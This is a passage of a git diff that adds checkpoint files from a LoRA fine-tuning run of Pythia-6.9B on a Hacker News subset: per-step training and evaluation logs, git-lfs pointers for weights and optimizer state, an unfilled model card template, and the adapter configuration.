"eval_samples_per_second": 22.796, + "eval_steps_per_second": 2.849, + "step": 30 + }, + { + "epoch": 0.5333333333333333, + "grad_norm": 0.3593173325061798, + "learning_rate": 7.525925925925926e-05, + "loss": 2.4633, + "step": 40 + }, + { + "epoch": 0.5333333333333333, + "eval_loss": 2.535550832748413, + "eval_runtime": 43.7847, + "eval_samples_per_second": 22.839, + "eval_steps_per_second": 2.855, + "step": 40 + }, + { + "epoch": 0.6666666666666666, + "grad_norm": 0.37406498193740845, + "learning_rate": 7.407407407407409e-05, + "loss": 2.4329, + "step": 50 + }, + { + "epoch": 0.6666666666666666, + "eval_loss": 2.533135175704956, + "eval_runtime": 43.9186, + "eval_samples_per_second": 22.769, + "eval_steps_per_second": 2.846, + "step": 50 + }, + { + "epoch": 0.8, + "grad_norm": 0.3373793661594391, + "learning_rate": 7.28888888888889e-05, + "loss": 2.5159, + "step": 60 + }, + { + "epoch": 0.8, + "eval_loss": 2.5308544635772705, + "eval_runtime": 43.8596, + "eval_samples_per_second": 22.8, + "eval_steps_per_second": 2.85, + "step": 60 + }, + { + "epoch": 0.9333333333333333, + "grad_norm": 0.3410486876964569, + "learning_rate": 7.170370370370371e-05, + "loss": 2.4616, + "step": 70 + }, + { + "epoch": 0.9333333333333333, + "eval_loss": 2.528620958328247, + "eval_runtime": 43.7873, + "eval_samples_per_second": 22.838, + "eval_steps_per_second": 2.855, + "step": 70 + }, + { + "epoch": 1.0666666666666667, + "grad_norm": 0.3606584966182709, + "learning_rate": 7.051851851851853e-05, + "loss": 2.4756, + "step": 80 + }, + { + "epoch": 1.0666666666666667, + "eval_loss": 2.526639699935913, + "eval_runtime": 43.8095, + "eval_samples_per_second": 22.826, + "eval_steps_per_second": 2.853, + "step": 80 + }, + { + "epoch": 1.2, + "grad_norm": 0.4812467098236084, + "learning_rate": 6.933333333333334e-05, + "loss": 2.3706, + "step": 90 + }, + { + "epoch": 1.2, + "eval_loss": 2.5288808345794678, + "eval_runtime": 43.7806, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 90 + }, + { + "epoch": 1.3333333333333333, + "grad_norm": 0.5975897312164307, + "learning_rate": 6.814814814814815e-05, + "loss": 2.4033, + "step": 100 + }, + { + "epoch": 1.3333333333333333, + "eval_loss": 2.532658576965332, + "eval_runtime": 43.7811, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 100 + }, + { + "epoch": 1.4666666666666668, + "grad_norm": 0.629486620426178, + "learning_rate": 6.696296296296296e-05, + "loss": 2.4018, + "step": 110 + }, + { + "epoch": 1.4666666666666668, + "eval_loss": 2.533242702484131, + "eval_runtime": 43.7907, + "eval_samples_per_second": 22.836, + "eval_steps_per_second": 2.854, + "step": 110 + }, + { + "epoch": 1.6, + "grad_norm": 0.818680465221405, + "learning_rate": 6.577777777777777e-05, + "loss": 2.4227, + "step": 120 + }, + { + "epoch": 1.6, + "eval_loss": 2.5338823795318604, + "eval_runtime": 43.7818, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 120 + }, + { + "epoch": 1.7333333333333334, + "grad_norm": 0.8839734196662903, + "learning_rate": 6.45925925925926e-05, + "loss": 2.4284, + "step": 130 + }, + { + "epoch": 1.7333333333333334, + "eval_loss": 2.534684658050537, + "eval_runtime": 43.7829, + "eval_samples_per_second": 22.84, + "eval_steps_per_second": 2.855, + "step": 130 + }, + { + "epoch": 1.8666666666666667, + "grad_norm": 0.7506110072135925, + "learning_rate": 6.340740740740741e-05, + "loss": 2.4042, + "step": 140 + }, + { + "epoch": 1.8666666666666667, + "eval_loss": 2.5374648571014404, + "eval_runtime": 43.7868, + "eval_samples_per_second": 22.838, + "eval_steps_per_second": 2.855, + "step": 140 + }, + { + "epoch": 2.0, + "grad_norm": 0.790181040763855, + "learning_rate": 6.222222222222223e-05, + "loss": 2.4382, + "step": 150 + }, + { + "epoch": 2.0, + "eval_loss": 2.5376830101013184, + "eval_runtime": 43.776, + "eval_samples_per_second": 22.844, + "eval_steps_per_second": 2.855, + "step": 150 + }, + { + "epoch": 2.1333333333333333, + "grad_norm": 0.8619416952133179, + "learning_rate": 6.103703703703704e-05, + "loss": 2.2852, + "step": 160 + }, + { + "epoch": 2.1333333333333333, + "eval_loss": 2.557069778442383, + "eval_runtime": 43.8054, + "eval_samples_per_second": 22.828, + "eval_steps_per_second": 2.854, + "step": 160 + }, + { + "epoch": 2.2666666666666666, + "grad_norm": 1.1197975873947144, + "learning_rate": 5.9851851851851855e-05, + "loss": 2.266, + "step": 170 + }, + { + "epoch": 2.2666666666666666, + "eval_loss": 2.578442096710205, + "eval_runtime": 43.8144, + "eval_samples_per_second": 22.824, + "eval_steps_per_second": 2.853, + "step": 170 + }, + { + "epoch": 2.4, + "grad_norm": 1.2004913091659546, + "learning_rate": 5.8666666666666665e-05, + "loss": 2.3007, + "step": 180 + }, + { + "epoch": 2.4, + "eval_loss": 2.582598924636841, + "eval_runtime": 43.7743, + "eval_samples_per_second": 22.844, + "eval_steps_per_second": 2.856, + "step": 180 + }, + { + "epoch": 2.533333333333333, + "grad_norm": 1.2376835346221924, + "learning_rate": 5.748148148148149e-05, + "loss": 2.276, + "step": 190 + }, + { + "epoch": 2.533333333333333, + "eval_loss": 2.586012840270996, + "eval_runtime": 43.82, + "eval_samples_per_second": 22.821, + "eval_steps_per_second": 2.853, + "step": 190 + }, + { + "epoch": 2.6666666666666665, + "grad_norm": 1.3492048978805542, + "learning_rate": 5.62962962962963e-05, + "loss": 2.2448, + "step": 200 + }, + { + "epoch": 2.6666666666666665, + "eval_loss": 2.587860345840454, + "eval_runtime": 43.834, + "eval_samples_per_second": 22.813, + "eval_steps_per_second": 2.852, + "step": 200 + }, + { + "epoch": 2.8, + "grad_norm": 1.3619085550308228, + "learning_rate": 5.511111111111112e-05, + "loss": 2.2909, + "step": 210 + }, + { + "epoch": 2.8, + "eval_loss": 2.5878307819366455, + "eval_runtime": 43.8203, + "eval_samples_per_second": 22.82, + "eval_steps_per_second": 2.853, + "step": 210 + }, + { + "epoch": 2.9333333333333336, + "grad_norm": 1.4916982650756836, + "learning_rate": 5.392592592592593e-05, + "loss": 2.2501, + "step": 220 + }, + { + "epoch": 2.9333333333333336, + "eval_loss": 2.589785575866699, + "eval_runtime": 43.79, + "eval_samples_per_second": 22.836, + "eval_steps_per_second": 2.855, + "step": 220 + }, + { + "epoch": 3.066666666666667, + "grad_norm": 1.5191502571105957, + "learning_rate": 5.274074074074074e-05, + "loss": 2.2045, + "step": 230 + }, + { + "epoch": 3.066666666666667, + "eval_loss": 2.606522798538208, + "eval_runtime": 43.7878, + "eval_samples_per_second": 22.837, + "eval_steps_per_second": 2.855, + "step": 230 + }, + { + "epoch": 3.2, + "grad_norm": 1.8370033502578735, + "learning_rate": 5.155555555555556e-05, + "loss": 2.1299, + "step": 240 + }, + { + "epoch": 3.2, + "eval_loss": 2.6736056804656982, + "eval_runtime": 43.7743, + "eval_samples_per_second": 22.844, + "eval_steps_per_second": 2.856, + "step": 240 + }, + { + "epoch": 3.3333333333333335, + "grad_norm": 1.8626277446746826, + "learning_rate": 5.037037037037037e-05, + "loss": 2.0745, + "step": 250 + }, + { + "epoch": 3.3333333333333335, + "eval_loss": 2.6694393157958984, + "eval_runtime": 43.7698, + "eval_samples_per_second": 22.847, + "eval_steps_per_second": 2.856, + "step": 250 + }, + { + "epoch": 3.466666666666667, + "grad_norm": 1.9536994695663452, + "learning_rate": 4.918518518518519e-05, + "loss": 2.1134, + "step": 260 + }, + { + "epoch": 3.466666666666667, + "eval_loss": 2.6763100624084473, + "eval_runtime": 43.7663, + "eval_samples_per_second": 22.849, + "eval_steps_per_second": 2.856, + "step": 260 + }, + { + "epoch": 3.6, + "grad_norm": 1.7951068878173828, + "learning_rate": 4.8e-05, + "loss": 2.0425, + "step": 270 + }, + { + "epoch": 3.6, + "eval_loss": 2.6728081703186035, + "eval_runtime": 43.7651, + "eval_samples_per_second": 22.849, + "eval_steps_per_second": 2.856, + "step": 270 + }, + { + "epoch": 3.7333333333333334, + "grad_norm": 1.907662272453308, + "learning_rate": 4.681481481481481e-05, + "loss": 2.0904, + "step": 280 + }, + { + "epoch": 3.7333333333333334, + "eval_loss": 2.6812336444854736, + "eval_runtime": 43.8021, + "eval_samples_per_second": 22.83, + "eval_steps_per_second": 2.854, + "step": 280 + }, + { + "epoch": 3.8666666666666667, + "grad_norm": 1.9190585613250732, + "learning_rate": 4.5629629629629636e-05, + "loss": 2.1202, + "step": 290 + }, + { + "epoch": 3.8666666666666667, + "eval_loss": 2.6716649532318115, + "eval_runtime": 43.7878, + "eval_samples_per_second": 22.837, + "eval_steps_per_second": 2.855, + "step": 290 + }, + { + "epoch": 4.0, + "grad_norm": 2.1457583904266357, + "learning_rate": 4.444444444444445e-05, + "loss": 2.1332, + "step": 300 + }, + { + "epoch": 4.0, + "eval_loss": 2.677353620529175, + "eval_runtime": 43.7789, + "eval_samples_per_second": 22.842, + "eval_steps_per_second": 2.855, + "step": 300 + }, + { + "epoch": 4.133333333333334, + "grad_norm": 2.461280345916748, + "learning_rate": 4.3259259259259264e-05, + "loss": 1.9693, + "step": 310 + }, + { + "epoch": 4.133333333333334, + "eval_loss": 2.7750632762908936, + "eval_runtime": 43.8409, + "eval_samples_per_second": 22.81, + "eval_steps_per_second": 2.851, + "step": 310 + }, + { + "epoch": 4.266666666666667, + "grad_norm": 2.8510210514068604, + "learning_rate": 4.2074074074074075e-05, + "loss": 1.9194, + "step": 320 + }, + { + "epoch": 4.266666666666667, + "eval_loss": 2.771688938140869, + "eval_runtime": 43.8403, + "eval_samples_per_second": 22.81, + "eval_steps_per_second": 2.851, + "step": 320 + }, + { + "epoch": 4.4, + "grad_norm": 2.5339622497558594, + "learning_rate": 4.088888888888889e-05, + "loss": 1.9162, + "step": 330 + }, + { + "epoch": 4.4, + "eval_loss": 2.7754197120666504, + "eval_runtime": 43.8148, + "eval_samples_per_second": 22.823, + "eval_steps_per_second": 2.853, + "step": 330 + }, + { + "epoch": 4.533333333333333, + "grad_norm": 2.622448444366455, + "learning_rate": 3.970370370370371e-05, + "loss": 1.9598, + "step": 340 + }, + { + "epoch": 4.533333333333333, + "eval_loss": 2.771843671798706, + "eval_runtime": 43.8243, + "eval_samples_per_second": 22.818, + "eval_steps_per_second": 2.852, + "step": 340 + }, + { + "epoch": 4.666666666666667, + "grad_norm": 2.728793144226074, + "learning_rate": 3.851851851851852e-05, + "loss": 1.9611, + "step": 350 + }, + { + "epoch": 4.666666666666667, + "eval_loss": 2.7712514400482178, + "eval_runtime": 43.8133, + "eval_samples_per_second": 22.824, + "eval_steps_per_second": 2.853, + "step": 350 + }, + { + "epoch": 4.8, + "grad_norm": 2.583333969116211, + "learning_rate": 3.733333333333334e-05, + "loss": 1.9595, + "step": 360 + }, + { + "epoch": 4.8, + "eval_loss": 2.7676312923431396, + "eval_runtime": 43.8113, + "eval_samples_per_second": 22.825, + "eval_steps_per_second": 2.853, + "step": 360 + }, + { + "epoch": 4.933333333333334, + "grad_norm": 2.4886419773101807, + "learning_rate": 3.614814814814815e-05, + "loss": 1.9681, + "step": 370 + }, + { + "epoch": 4.933333333333334, + "eval_loss": 2.763570547103882, + "eval_runtime": 43.8166, + "eval_samples_per_second": 22.822, + "eval_steps_per_second": 2.853, + "step": 370 + }, + { + "epoch": 5.066666666666666, + "grad_norm": 2.656954526901245, + "learning_rate": 3.4962962962962965e-05, + "loss": 1.864, + "step": 380 + }, + { + "epoch": 5.066666666666666, + "eval_loss": 2.811014175415039, + "eval_runtime": 43.831, + "eval_samples_per_second": 22.815, + "eval_steps_per_second": 2.852, + "step": 380 + }, + { + "epoch": 5.2, + "grad_norm": 3.2936909198760986, + "learning_rate": 3.377777777777778e-05, + "loss": 1.8078, + "step": 390 + }, + { + "epoch": 5.2, + "eval_loss": 2.8777899742126465, + "eval_runtime": 43.8033, + "eval_samples_per_second": 22.829, + "eval_steps_per_second": 2.854, + "step": 390 + }, + { + "epoch": 5.333333333333333, + "grad_norm": 3.134007692337036, + "learning_rate": 3.259259259259259e-05, + "loss": 1.8207, + "step": 400 + }, + { + "epoch": 5.333333333333333, + "eval_loss": 2.8566880226135254, + "eval_runtime": 43.8138, + "eval_samples_per_second": 22.824, + "eval_steps_per_second": 2.853, + "step": 400 + }, + { + "epoch": 5.466666666666667, + "grad_norm": 3.0055992603302, + "learning_rate": 3.140740740740741e-05, + "loss": 1.8202, + "step": 410 + }, + { + "epoch": 5.466666666666667, + "eval_loss": 2.8746020793914795, + "eval_runtime": 43.821, + "eval_samples_per_second": 22.82, + "eval_steps_per_second": 2.853, + "step": 410 + }, + { + "epoch": 5.6, + "grad_norm": 3.008761405944824, + "learning_rate": 3.0222222222222225e-05, + "loss": 1.854, + "step": 420 + }, + { + "epoch": 5.6, + "eval_loss": 2.856834888458252, + "eval_runtime": 43.8079, + "eval_samples_per_second": 22.827, + "eval_steps_per_second": 2.853, + "step": 420 + }, + { + "epoch": 5.733333333333333, + "grad_norm": 3.0921030044555664, + "learning_rate": 2.9037037037037042e-05, + "loss": 1.8381, + "step": 430 + }, + { + "epoch": 5.733333333333333, + "eval_loss": 2.8608105182647705, + "eval_runtime": 43.8102, + "eval_samples_per_second": 22.826, + "eval_steps_per_second": 2.853, + "step": 430 + }, + { + "epoch": 5.866666666666667, + "grad_norm": 3.2031877040863037, + "learning_rate": 2.7851851851851856e-05, + "loss": 1.8526, + "step": 440 + }, + { + "epoch": 5.866666666666667, + "eval_loss": 2.8591396808624268, + "eval_runtime": 43.8197, + "eval_samples_per_second": 22.821, + "eval_steps_per_second": 2.853, + "step": 440 + }, + { + "epoch": 6.0, + "grad_norm": 3.2067291736602783, + "learning_rate": 2.6666666666666667e-05, + "loss": 1.8094, + "step": 450 + }, + { + "epoch": 6.0, + "eval_loss": 2.8479180335998535, + "eval_runtime": 43.8043, + "eval_samples_per_second": 22.829, + "eval_steps_per_second": 2.854, + "step": 450 + }, + { + "epoch": 6.133333333333334, + "grad_norm": 3.353001117706299, + "learning_rate": 2.5481481481481484e-05, + "loss": 1.685, + "step": 460 + }, + { + "epoch": 6.133333333333334, + "eval_loss": 2.942011833190918, + "eval_runtime": 43.8062, + "eval_samples_per_second": 22.828, + "eval_steps_per_second": 2.853, + "step": 460 + }, + { + "epoch": 6.266666666666667, + "grad_norm": 3.2993152141571045, + "learning_rate": 2.4296296296296298e-05, + "loss": 1.7213, + "step": 470 + }, + { + "epoch": 6.266666666666667, + "eval_loss": 2.9439539909362793, + "eval_runtime": 43.8327, + "eval_samples_per_second": 22.814, + "eval_steps_per_second": 2.852, + "step": 470 + } + ], + "logging_steps": 10, + "max_steps": 675, + "num_input_tokens_seen": 0, + "num_train_epochs": 9, + "save_steps": 10, + "stateful_callbacks": { + "TrainerControl": { + "args": { + "should_epoch_stop": false, + "should_evaluate": false, + "should_log": false, + "should_save": true, + "should_training_stop": false + }, + "attributes": {} + } + }, + "total_flos": 7.70145383350272e+16, + "train_batch_size": 8, + "trial_name": null, + "trial_params": null +} diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-470/training_args.bin b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-470/training_args.bin new file mode 100644 index 0000000000000000000000000000000000000000..68b02330a1195a7529b7c5ac3d2074dca7a8843d --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-470/training_args.bin @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:5276490505c682789e6f542349fd3b486cf3586ea6a988c79078113f82ac15c0 +size 4859 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-480/README.md b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-480/README.md new file mode 100644 index 0000000000000000000000000000000000000000..e255b1d99c1c1d12955d852dc1056813be7ffca0 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-480/README.md @@ -0,0 +1,202 @@ +--- +base_model: /workspace/pythia-6_9b +library_name: peft +--- + +# Model Card for Model ID + + + + + +## Model Details + +### Model Description + + + + + +- **Developed by:** [More Information Needed] +- **Funded by [optional]:** [More Information Needed] +- **Shared by [optional]:** [More Information Needed] +- **Model type:** [More Information Needed] +- **Language(s) (NLP):** [More Information Needed] +- **License:** [More Information Needed] +- **Finetuned from model [optional]:** [More Information Needed] + +### Model Sources [optional] + + + +- **Repository:** [More Information Needed] +- **Paper [optional]:** [More Information Needed] +- **Demo [optional]:** [More Information Needed] + +## Uses + + + +### Direct Use + + + +[More Information Needed] + +### Downstream Use [optional] + + + +[More Information Needed] + +### Out-of-Scope Use + + + +[More Information Needed] + +## Bias, Risks, and Limitations + + + +[More Information Needed] + +### Recommendations + + + +Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations. + +## How to Get Started with the Model + +Use the code below to get started with the model. + +[More Information Needed] + +## Training Details + +### Training Data + + + +[More Information Needed] + +### Training Procedure + + + +#### Preprocessing [optional] + +[More Information Needed] + + +#### Training Hyperparameters + +- **Training regime:** [More Information Needed] + +#### Speeds, Sizes, Times [optional] + + + +[More Information Needed] + +## Evaluation + + + +### Testing Data, Factors & Metrics + +#### Testing Data + + + +[More Information Needed] + +#### Factors + + + +[More Information Needed] + +#### Metrics + + + +[More Information Needed] + +### Results + +[More Information Needed] + +#### Summary + + + +## Model Examination [optional] + + + +[More Information Needed] + +## Environmental Impact + + + +Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700). + +- **Hardware Type:** [More Information Needed] +- **Hours used:** [More Information Needed] +- **Cloud Provider:** [More Information Needed] +- **Compute Region:** [More Information Needed] +- **Carbon Emitted:** [More Information Needed] + +## Technical Specifications [optional] + +### Model Architecture and Objective + +[More Information Needed] + +### Compute Infrastructure + +[More Information Needed] + +#### Hardware + +[More Information Needed] + +#### Software + +[More Information Needed] + +## Citation [optional] + + + +**BibTeX:** + +[More Information Needed] + +**APA:** + +[More Information Needed] + +## Glossary [optional] + + + +[More Information Needed] + +## More Information [optional] + +[More Information Needed] + +## Model Card Authors [optional] + +[More Information Needed] + +## Model Card Contact + +[More Information Needed] +### Framework versions + +- PEFT 0.13.2 \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-480/adapter_config.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-480/adapter_config.json new file mode 100644 index 0000000000000000000000000000000000000000..542f584a2a027304327916d01b73120e8cef2575 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-480/adapter_config.json @@ -0,0 +1,31 @@ +{ + "alpha_pattern": {}, + "auto_mapping": null, + "base_model_name_or_path": "/workspace/pythia-6_9b", + "bias": "none", + "fan_in_fan_out": false, + "inference_mode": true, + "init_lora_weights": true, + "layer_replication": null, + "layers_pattern": null, + "layers_to_transform": null, + "loftq_config": {}, + "lora_alpha": 32, + "lora_dropout": 0.1, + "megatron_config": null, + "megatron_core": "megatron.core", + "modules_to_save": null, + "peft_type": "LORA", + "r": 8, + "rank_pattern": {}, + "revision": null, + "target_modules": [ + "dense", + "query_key_value", + "dense_h_to_4h", + "dense_4h_to_h" + ], + "task_type": "CAUSAL_LM", + "use_dora": false, + "use_rslora": false +} \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-480/adapter_model.safetensors b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-480/adapter_model.safetensors new file mode 100644 index 0000000000000000000000000000000000000000..dcbdcabeffec60acdb56e0553429cdb1227a92e7 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-480/adapter_model.safetensors @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:bc87659d6c1b33624a6f90e8273ca81c1cb09f7de3f61a20832ab9157b4d6afe +size 67144544 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-480/optimizer.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-480/optimizer.pt new file mode 100644 index 0000000000000000000000000000000000000000..7b53eac598c5669265cfeb7e849e2e71cad69422 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-480/optimizer.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:b6e3200edfed3d2ec93bcfb7e105a42b05faf7cc3812da305661eb4c192be581 +size 134432453 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-480/rng_state.pth b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-480/rng_state.pth new file mode 100644 index 0000000000000000000000000000000000000000..302025be6f88ae472170fe5d230ba39d4ec976df --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-480/rng_state.pth @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:918d6ec8ede8d7a880512e2fc44b16d7c22df85e8b411a004d142edcf446c40d +size 14575 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-480/scheduler.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-480/scheduler.pt new file mode 100644 index 0000000000000000000000000000000000000000..9c7a583c3e236b2f110dd12004cef1d9a2b13311 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-480/scheduler.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:535824b66976a8cd20163034000bf2ae1a203551ed6ea6132858b6421f4024c0 +size 627 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-480/trainer_state.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-480/trainer_state.json new file mode 100644 index 0000000000000000000000000000000000000000..9ae21a542ebd60b3f300e98d748faef741d9168d --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-480/trainer_state.json @@ -0,0 +1,753 @@ +{ + "best_metric": 2.526639699935913, + "best_model_checkpoint": "./output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80", + "epoch": 6.4, + "eval_steps": 10, + "global_step": 480, + "is_hyper_param_search": false, + "is_local_process_zero": true, + "is_world_process_zero": true, + "log_history": [ + { + "epoch": 0.13333333333333333, + "grad_norm": 0.37438902258872986, + "learning_rate": 7.881481481481482e-05, + "loss": 2.522, + "step": 10 + }, + { + "epoch": 0.13333333333333333, + "eval_loss": 2.5468266010284424, + "eval_runtime": 44.0007, + "eval_samples_per_second": 22.727, + "eval_steps_per_second": 2.841, + "step": 10 + }, + { + "epoch": 0.26666666666666666, + "grad_norm": 0.35912272334098816, + "learning_rate": 7.762962962962963e-05, + "loss": 2.4874, + "step": 20 + }, + { + "epoch": 0.26666666666666666, + "eval_loss": 2.54296612739563, + "eval_runtime": 43.8115, + "eval_samples_per_second": 22.825, + "eval_steps_per_second": 2.853, + "step": 20 + }, + { + "epoch": 0.4, + "grad_norm": 0.3801650404930115, + "learning_rate": 7.644444444444445e-05, + "loss": 2.4972, + "step": 30 + }, + { + "epoch": 0.4, + "eval_loss": 2.5399742126464844, + "eval_runtime": 43.8681, + "eval_samples_per_second": 22.796, + "eval_steps_per_second": 2.849, + "step": 30 + }, + { + "epoch": 0.5333333333333333, + "grad_norm": 0.3593173325061798, + "learning_rate": 7.525925925925926e-05, + "loss": 2.4633, + "step": 40 + }, + { + "epoch": 0.5333333333333333, + "eval_loss": 2.535550832748413, + "eval_runtime": 43.7847, + "eval_samples_per_second": 22.839, + "eval_steps_per_second": 2.855, + "step": 40 + }, + { + "epoch": 0.6666666666666666, + "grad_norm": 0.37406498193740845, + "learning_rate": 7.407407407407409e-05, + "loss": 2.4329, + "step": 50 + }, + { + "epoch": 0.6666666666666666, + "eval_loss": 2.533135175704956, + "eval_runtime": 43.9186, + "eval_samples_per_second": 22.769, + "eval_steps_per_second": 2.846, + "step": 50 + }, + { + "epoch": 0.8, + "grad_norm": 0.3373793661594391, + "learning_rate": 7.28888888888889e-05, + "loss": 2.5159, + "step": 60 + }, + { + "epoch": 0.8, + "eval_loss": 2.5308544635772705, + "eval_runtime": 43.8596, + "eval_samples_per_second": 22.8, + "eval_steps_per_second": 2.85, + "step": 60 + }, + { + "epoch": 0.9333333333333333, + "grad_norm": 0.3410486876964569, + "learning_rate": 7.170370370370371e-05, + "loss": 2.4616, + "step": 70 + }, + { + "epoch": 0.9333333333333333, + "eval_loss": 2.528620958328247, + "eval_runtime": 43.7873, + "eval_samples_per_second": 22.838, + "eval_steps_per_second": 2.855, + "step": 70 + }, + { + "epoch": 1.0666666666666667, + "grad_norm": 0.3606584966182709, + "learning_rate": 7.051851851851853e-05, + "loss": 2.4756, + "step": 80 + }, + { + "epoch": 1.0666666666666667, + "eval_loss": 2.526639699935913, + "eval_runtime": 43.8095, + "eval_samples_per_second": 22.826, + "eval_steps_per_second": 2.853, + "step": 80 + }, + { + "epoch": 1.2, + "grad_norm": 0.4812467098236084, + "learning_rate": 6.933333333333334e-05, + "loss": 2.3706, + "step": 90 + }, + { + "epoch": 1.2, + "eval_loss": 2.5288808345794678, + "eval_runtime": 43.7806, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 90 + }, + { + "epoch": 1.3333333333333333, + "grad_norm": 0.5975897312164307, + "learning_rate": 6.814814814814815e-05, + "loss": 2.4033, + "step": 100 + }, + { + "epoch": 1.3333333333333333, + "eval_loss": 2.532658576965332, + "eval_runtime": 43.7811, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 100 + }, + { + "epoch": 1.4666666666666668, + "grad_norm": 0.629486620426178, + "learning_rate": 6.696296296296296e-05, + "loss": 2.4018, + "step": 110 + }, + { + "epoch": 1.4666666666666668, + "eval_loss": 2.533242702484131, + "eval_runtime": 43.7907, + "eval_samples_per_second": 22.836, + "eval_steps_per_second": 2.854, + "step": 110 + }, + { + "epoch": 1.6, + "grad_norm": 0.818680465221405, + "learning_rate": 6.577777777777777e-05, + "loss": 2.4227, + "step": 120 + }, + { + "epoch": 1.6, + "eval_loss": 2.5338823795318604, + "eval_runtime": 43.7818, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 120 + }, + { + "epoch": 1.7333333333333334, + "grad_norm": 0.8839734196662903, + "learning_rate": 6.45925925925926e-05, + "loss": 2.4284, + "step": 130 + }, + { + "epoch": 1.7333333333333334, + "eval_loss": 2.534684658050537, + "eval_runtime": 43.7829, + "eval_samples_per_second": 22.84, + "eval_steps_per_second": 2.855, + "step": 130 + }, + { + "epoch": 1.8666666666666667, + "grad_norm": 0.7506110072135925, + "learning_rate": 6.340740740740741e-05, + "loss": 2.4042, + "step": 140 + }, + { + "epoch": 1.8666666666666667, + "eval_loss": 2.5374648571014404, + "eval_runtime": 43.7868, + "eval_samples_per_second": 22.838, + "eval_steps_per_second": 2.855, + "step": 140 + }, + { + "epoch": 2.0, + "grad_norm": 0.790181040763855, + "learning_rate": 6.222222222222223e-05, + "loss": 2.4382, + "step": 150 + }, + { + "epoch": 2.0, + "eval_loss": 2.5376830101013184, + "eval_runtime": 43.776, + "eval_samples_per_second": 22.844, + "eval_steps_per_second": 2.855, + "step": 150 + }, + { + "epoch": 2.1333333333333333, + "grad_norm": 0.8619416952133179, + "learning_rate": 6.103703703703704e-05, + "loss": 2.2852, + "step": 160 + }, + { + "epoch": 2.1333333333333333, + "eval_loss": 2.557069778442383, + 